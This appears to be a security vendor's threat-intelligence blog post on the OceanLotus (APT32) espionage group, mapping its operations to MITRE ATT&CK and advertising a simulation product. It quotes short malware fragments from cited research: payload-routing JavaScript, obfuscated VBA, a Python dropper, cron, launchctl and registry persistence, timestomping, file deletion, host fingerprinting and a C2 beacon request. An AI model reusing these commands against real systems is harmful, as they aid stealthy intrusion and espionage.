OceanLotus (APT32) Explained: Tactics, Malware, and TTPs
LAST UPDATED ON JUNE 24, 2026
Key Takeaways
- OceanLotus (APT32) is a cyber espionage group operating in alignment with Vietnamese state interests since at least 2014.
- The group targets foreign governments, journalists, activists, and private companies across Southeast Asia, including Vietnam, the Philippines, Laos, and Cambodia.
- The group deploys a custom backdoor suite including WINDSHIELD, KOMPROGO, SOUNDBITE, PHOREAL, SPECTRALVIPER, and ZiChatBot for espionage operations.
- OceanLotus uses spearphishing, victim profiling, look-alike domains, DLL side-loading, encrypted C2 channels, and exfiltration over command and control.
- Picus Platform simulates OceanLotus attacks so security teams can test and validate their defenses.
OceanLotus (APT32) is a cyber espionage group widely assessed to operate in alignment with Vietnamese state interests. It has been active since at least 2014.
The group concentrates its operations on Southeast Asia, particularly Vietnam, the Philippines, Laos, and Cambodia, targeting foreign governments, journalists, activists, and private companies.
In this blog, we will review OceanLotus (APT32)'s major historical operations, examine their espionage campaigns, and break down the group's tactics, techniques, and procedures to show how they compromise targets across Southeast Asia and beyond. In the end, we will show how Picus Platform helps defend against this group.
Simulate APT Attacks with 14-Day Free Trial of Picus Platform
What Are the Major Activities of the OceanLotus (APT32)?
2014 – OceanLotus ran a phishing campaign against staff of a digital rights organization, delivering malware via emails traced back to it.
2016 – The group carried out a year-long cyberattack against a global corporation based in Asia, targeting intellectual property, confidential business information, and details of specific projects.
2017–2018 – The group conducted large-scale watering-hole attacks targeting Southeast Asia.
2016–2018 – OceanLotus engaged in industrial espionage targeting automobile manufacturers BMW, Toyota, and Hyundai, in intrusions appearing to support Vietnam's manufacturing goals.
2019 – The group conducted a very sophisticated and extremely widespread mass digital surveillance and attack campaign targeting media, human rights and civil society groups, and ASEAN-related entities.
2018–2020 – The group conducted surveillance on Vietnamese political activists, targeting both individuals and organizations, and was linked to operations against human rights defenders.
January–April 2020 – OceanLotus carried out intrusion campaigns against Chinese targets to collect intelligence on the COVID-19 crisis, sending spear-phishing messages to China's Ministry of Emergency Management and the government of Wuhan.
2023 – The group resurfaced publicly, running an attack with a previously undocumented backdoor named SPECTRALVIPER against Vietnamese businesses.
November 2024 – February 2026 – The group ran a cyber espionage operation against a Vietnamese infrastructure and transport construction corporation, deploying SPECTRALVIPER via DLL side-loading.
October 2025 – March 2026 – The group conducted a supply-chain attack from FireAnt MetaKit's legitimate update URL, a stock-investment software platform widely used in Vietnam. Only a select handful of investors received the final SPECTRALVIPER payload, indicating careful victim filtering based on domestic intelligence requirements.
Which MITRE ATT&CK Techniques Are Used by OceanLotus (APT32)?
Tactic: Reconnaissance
T1589.002 Gather Victim Identity Information: Email Addresses
The actor embedded victim email addresses directly inside tracking links so that opening the message reported back to the operator and confirmed the address was live and monitored.
The following is an example of tracking URLs that encode the recipient address [5]:
|
libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png |
T1592 Gather Victim Host Information
The fake news sites loaded a web-profiling framework whose goal was to identify and evaluate information about visitors, including the browser and operating system, so payload selection could be tailored per visitor.
Here is the OS/browser-conditioned payload routing recovered from the profiling JavaScript [2]:
|
var os_url_mapping = { 'windows_x86':'https://www.dropbox[.]com/s/puhwqhjcvn2xuum/Adobe_Flash_Install.rar?dl=1', … 'ios':'https://accounts.gservice[.]reviews/?ancf_=36562273654a289e0cc0418f1c9d4b&_hhobt=5b878805dc643d7e66d81b45797a3d323baa7def&edobt=5edf2e13' |
Also, externally referenced (non-existent) images in lure documents forced the victim's client to request a remote resource, letting the operator capture the requesting public IP from web logs even when macros were disabled [4].
Tactic: Resource Development
T1583.001 Acquire Infrastructure: Domains
The group registered a large set of look-alike news and service domains for profiling, malware delivery, and credential phishing (for example, kmernews[.]com) [2].
C&C domain names were also custom-crafted per campaign to blend in with the victim's traffic, for example, financemachinelearning[.]com for stock-investor targeting and gatewayrvcenter[.]com for the construction-company network [3].
T1583.006 Acquire Infrastructure: Web Services
The malware abused public cloud and SaaS services as delivery and command channels: payloads were hosted on Dropbox, Amazon S3, and Google Drive, and a "helper" organization was registered on the public Zulip chat service to serve as the ZiChatBot C2.
T1585.001 Establish Accounts: Social Media Accounts
Facebook pages were created to lend legitimacy to the fake sites, including a page with over 20,000 followers and another with a Messenger account that could be used to reach individuals of interest.
T1587.001 Develop Capabilities: Malware
The group fields a custom, continually evolving backdoor suite including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL [4], the SPECTRALVIPER backdoor/loader [3], ZiChatBot family [1], and a dedicated macOS backdoor [6].
T1608.001 Stage Capabilities: Upload Malware
Malicious wheel packages (uuid32-utils, colorinal, termncolor) were uploaded to the public Python Package Index to await victim installation.
Also, RAR/EXE payloads were staged on cloud storage for download from the fake sites.
Tactic: Initial Access
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
Two distinct supply-chain operations were observed: malicious PyPI wheel packages hiding a dropper [1], and compromise of the FireAnt MetaKit update server so that the legitimate update URL served a malicious payload.
FireAnt update configuration lacking integrity validation, abused to serve the malicious binary [3]:
|
<?xml version="1.0" encoding="utf-8" ?> |
T1566.001 Phishing: Spearphishing Attachment
Weaponized Office documents were emailed to targets: ActiveMime ".mht" files renamed to ".doc" [4], a COVID-themed RTF/Word lure delivering METALJACK [5], and a registration-form Word document delivering the macOS backdoor [6].
Tactic: Execution
T1059 Command and Scripting Interpreter
The macOS lure's deobfuscated payload is a Perl script that unpacks and launches the embedded Mach-O dropper, and the dropper re-spawns Perl for continued execution.
Deobfuscated Perl payload [6]:
|
#!/usr/bin/perl |
T1059.005 Command and Scripting Interpreter: Visual Basic
The Office lures executed malicious VBA macros that dropped payloads and built persistence, and the macOS lure used a VBA macro obfuscated character-by-character with decimal ASCII codes.
The following is ASCII-obfuscated VBA from the macOS lure [6]:
|
sLine11 = ChrW(115) + ChrW(121) + ChrW(115) + ChrW(116) + ChrW(101) + ChrW(109) + ChrW(40) + ChrW(34) + ChrW(92) + ChrW(70) + ChrW(105) + ChrW(108) + ChrW(101) + ChrW(47) + ChrW(119) + ChrW(111) + ChrW(114) + ChrW(100) + ChrW(47) ... ... |
T1059.006 Command and Scripting Interpreter: Python
The PyPI wheel packages ship Python that runs on import: __init__.py pulls in unicode.py, whose is_color_supported() loads the native dropper and invokes its export.
__init__.py importing the malicious module:
|
# __init__.py |
unicode.py loading and invoking the dropper [1]:
|
def is_color_supported(): # Invokes an export in the DLL. The argument looks like a terminal identifier but is really a trigger/key passed to the native dropper. The return value is treated as a success flag for the malicious load. # Native load failed → fall back to acting like the genuine color detection routine this function was copied from. # Anti-forensics: deletes this source file no matter what happened above |
T1204.001 User Execution: Malicious Link
Victims were induced to click "upgrade Flash Player", "Sign in", and other buttons that triggered malware download or credential-phishing redirects [2].
T1204.002 User Execution: Malicious File
Lures used fake error messages (Gmail-themed, Windows encoding error, "enable macro" prompts) to trick users into enabling content or running a fake installer [4][6].
Tactic: Persistence
T1053.003 Scheduled Task/Job: Cron
The Linux ZiChatBot dropper installs the payload to /tmp/obsHub/obs-check-update and registers a cron job to relaunch it [1].
|
system("chmod +x /tmp/obsHub/obs-check-update") |
T1053.005 Scheduled Task/Job: Scheduled Task
Two named Windows scheduled tasks were created by the macros, one running Squiblydoo every 30 minutes and one running mshta.exe every 50 minutes.
T1543.001 Create or Modify System Process: Launch Agent
For a non-root macOS user, the dropper writes a hidden .plist (com.apple.spell.agent.plist) into ~/Library/LaunchAgents/ to relaunch the backdoor at login [6].
T1543.004 Create or Modify System Process: Launch Daemon
For a root macOS user, the dropper writes com.apple.screen.assistantd.plist into /Library/LaunchDaemons/ with RunAtLoad and KeepAlive set so launchd keeps the daemon running [6].
|
<?xml version="1.0" encoding="UTF-8"?> |
Below are the commands to load .plist files:
|
launchctl load /Library/LaunchDaemons/filename.plist > /dev/null |
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
The ZiChatBot dropper adds an HKCU Run-key entry pointing at the deployed loader [1].
|
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] |
T1574.001 Hijack Execution Flow: DLL
The fake Flash installer relied on search-order hijacking, so a legitimate signed Google updater loaded the malicious goopdate.dll [2].
|
Adobe_Flash_Install.rar |
Additionally, SPECTRALVIPER was side-loaded by signed host executables (IntelAudioService.exe, which is a renamed dtlupdate.exe, and Genuine.exe/Updater.exe/AutoCAD242.exe which are renamed Toolbox.exe) [3].
Tactic: Privilege Escalation
T1134.001 Access Token Manipulation: Token Impersonation/Theft
SPECTRALVIPER's Feature class exposes token operations (StealToken, MakeToken, Revert2Self, Impersonate_ThisThread) and a LateralMovement subclass that retrieves privileges and UID.
Tactic: Stealth
T1027 Obfuscated Files or Information
Obfuscation was applied at every layer.
The macOS macro was encoded character by character in decimal ASCII.
The Windows downloaders and the SPECTRALVIPER backdoor were heavily obfuscated, and earlier PowerShell tooling was hardened with Invoke-Obfuscation.
Macro lures also hid text by setting its font color to match the background.
Strings inside the ZiChatBot dropper were AES-encrypted [6], and the macOS dropper and backdoor encrypted all strings with a hardcoded RSA256 key.
|
// AES key-scrambling step in the macOS backdoor packet builder |
T1036.005 Masquerading: Match Legitimate Resource Name or Location
APT32 used this method at various places:
- The malicious wheel packages imitated popular libraries.
- The fake update masqueraded as an Adobe Flash installer.
- SPECTRALVIPER was repeatedly side-loaded by signed host binaries renamed to look routine. For example, IntelAudioService.exe is a renamed copy of the signed dtlupdate.exe.
T1055 Process Injection
SPECTRALVIPER first runs as a loader and injects its backdoor component into a separate, trusted process such as OneDrive.Sync.Service.exe, with the injection logic exposed in its ProcessReflector and ProcessManager classes [3].
|
// SPECTRALVIPER injection primitives recovered from RTTI |
T1070.004 Indicator Removal: File Deletion
The ZiChatBot chain self-deletes the dropper and the malicious unicode.py/terminate.dll, leaving the library looking clean [1].
|
# dropper locates and deletes terminate.dll before unloading finally: |
Also, the macOS dropper deletes itself after installing the backdoor, and the Perl stager removes its scratch files [6].
|
system("rm -Rf /tmp/system") |
T1070.006 Indicator Removal: Timestomp
When installing the macOS backdoor and its persistence .plist, the dropper sets random file dates and times using touch.
|
touch -t YYMMDDMM "/path/filename" > /dev/null |
T1140 Deobfuscate/Decode Files or Information
The ZiChatBot dropper decrypts its sensitive strings with AES in CBC mode keyed by the "xterminalunicode" parameter, then decrypts and LZMA-decompresses the embedded ZiChatBot files at runtime.
The macOS payload is deobfuscated from decimal-ASCII back into Perl.
The C2 auth token is base64-decoded [1].
|
Encoded: TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==
|
Tactic: Discovery
T1082 System Information Discovery
The macOS backdoor collects serial number, hardware UUID, MAC address, a generated UUID, OS version, computer name, and architecture.
Here are the commands [6]:
|
ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\""); printf("%s", line[4]); }'
|
Tactic: Command and Control
T1008 Fallback Channels
WINDSHIELD is configured with four C2 servers and six ports, selecting a C2/port at random for resilience.
T1071.001 Application Layer Protocol: Web Protocols
SPECTRALVIPER beacons over HTTPS with host data in the Cookie header [3].
|
GET https://financemachinelearning.com/apparatus/wind/twig/statement.html HTTP/1.1 |
Other malware used by OceanLotus also typically uses HTTP/HTTPS as C2 protocol.
T1095 Non-Application Layer Protocol
WINDSHIELD communicates over raw TCP sockets, and PHOREAL uses ICMP for C2.
T1102.002 Web Service: Bidirectional Communication
ZiChatBot uses the public Zulip chat service as its C2: one channel/topic pair sends system info, another receives shellcode, and a heart emoji is posted back to confirm execution.
T1573.001 Encrypted Channel: Symmetric Cryptography
Malware used by OceanLotus utilizes encrypted channels for C2:
- The macOS backdoor encrypts each outbound packet with a per-message AES256 key.
- ZiChatBot data is protected with AES and XOR routines.
- SPECTRALVIPER C2 runs over HTTPS with additional encryption of embedded host data.
Tactic: Exfiltration
T1041 Exfiltration Over C2 Channel
OceanLotus exfiltrates data from different channels in different campaigns:
- SPECTRALVIPER exfiltrates collected data over its encrypted C&C channel.
- The macOS backdoor sends scrambled, AES-encrypted host data to its C2.
- ZiChatBot transmits current system information through the Zulip channel.
How Picus Simulates OceanLotus (APT32) Attacks?
We strongly suggest simulating OceanLotus Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for OceanLotus (APT32):
|
Threat ID |
Threat Name |
Attack Module |
|
23825 |
APT32 Threat Group Campaign |
Windows Endpoint |
|
26883 |
APT32 Threat Group Campaign Variant-2 |
Windows Endpoint |
|
58996 |
APT32 Threat Group Campaign |
Linux Endpoint |
|
84531 |
APT32 Threat Group Campaign |
macOS Endpoint |
|
74601 |
APT32 Threat Group Campaign Malware Download Threat - 4 |
Network Infiltration |
|
73205 |
APT32 Threat Group Campaign Malware Email Threat - 4 |
E-mail Infiltration |
|
80232 |
APT32 Threat Group Campaign Malware Email Threat - 3 |
E-mail Infiltration |
|
73039 |
APT32 Threat Group Campaign Malware Download Threat - 3 |
Network Infiltration |
|
96704 |
APT32 Threat Group Campaign Malware Download Threat - 2 |
Network Infiltration |
|
22563 |
APT32 Threat Group Campaign Malware Email Threat - 2 |
E-mail Infiltration |
|
96228 |
APT32 Threat Group Campaign Malware Email Threat - 1 |
E-mail Infiltration |
|
69878 |
APT32 Threat Group Campaign Malware Download Threat - 1 |
Network Infiltration |
|
78477 |
APT32 Threat Group Campaign Malware Downloader Email Threat |
E-mail Infiltration |
|
52739 |
APT32 Threat Group Campaign Malware Downloader Download Threat |
Network Infiltration |
|
73638 |
Denis Backdoor Malware Download Threat |
Network Infiltration |
|
36697 |
Denis Backdoor Malware Email Threat |
E-mail Infiltration |
|
42987 |
Salgorea Backdoor Malware Email Threat |
E-mail Infiltration |
|
96824 |
Goopdate Loader Email Threat |
E-mail Infiltration |
|
82274 |
Metaljack Loader Email Threat |
E-mail Infiltration |
|
79308 |
Remy Backdoor Malware Email Threat |
E-mail Infiltration |
|
97639 |
KerrDown Malware Downloader Email Threat |
E-mail Infiltration |
|
72156 |
Pyxie RAT Email Threat |
E-mail Infiltration |
|
42682 |
Ratsnif Trojan Email Threat |
E-mail Infiltration |
|
83384 |
Metaljack Loader Download Threat |
Network Infiltration |
|
87385 |
Goopdate Loader Download Threat |
Network Infiltration |
|
74700 |
Salgorea Backdoor Malware Download Threat |
Network Infiltration |
|
83368 |
Ratsnif Trojan Download Threat |
Network Infiltration |
|
85661 |
Pyxie RAT Download Threat |
Network Infiltration |
|
97751 |
KerrDown Malware Downloader Download Threat |
Network Infiltration |
|
27680 |
Remy Backdoor Malware Download Threat |
Network Infiltration |
Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.
What Are the Aliases of the OceanLotus (APT32) Group?
OceanLotus is also known as: APT 32, APT-32, APT-C-00, ATK17, BISMUTH, Canvas Cyclone, Cobalt Kitty, G0050, Ocean Buffalo, Ocean Lotus, OceanLotus Group, POND LOACH, Sea Lotus, SeaLotus, TIN WOODLAWN.
References
[1] GReAT, “OceanLotus suspected of using PyPI to deliver ZiChatBot malware,” Kaspersky. Accessed: Jun. 12, 2026. [Online]. Available: https://securelist.com/oceanlotus-suspected-pypi-zichatbot-campaign/119603/
[2] “OceanLotus: Extending Cyber Espionage Operations Through Fake Websites,” Volexity. Accessed: Jun. 12, 2026. [Online]. Available: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
[3] ESET Research, “OceanLotus: From external espionage to domestic targeting.” Accessed: Jun. 12, 2026. [Online]. Available: https://www.welivesecurity.com/en/eset-research/oceanlotus-external-espionage-domestic-targeting/
[4] “Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations,” Google Cloud Blog. Accessed: Jun. 12, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/cyber-espionage-apt32
[5] “Vietnamese Threat Actors APT32 Targets Wuhan Government,” Google Cloud Blog. Accessed: Jun. 12, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/apt32-targeting-chinese-government-in-covid-19-related-espionage
[6] “New MacOS Backdoor Linked to OceanLotus Found,” Trend Micro. Accessed: Jun. 12, 2026. [Online]. Available: https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html
.png?width=353&height=200&name=picus-threat-research-openAI-rubygems-preview-sept15%20(1).png)
.png?width=353&height=200&name=Picus-G2-Awards-fifth-preview-aug26_(1).png)
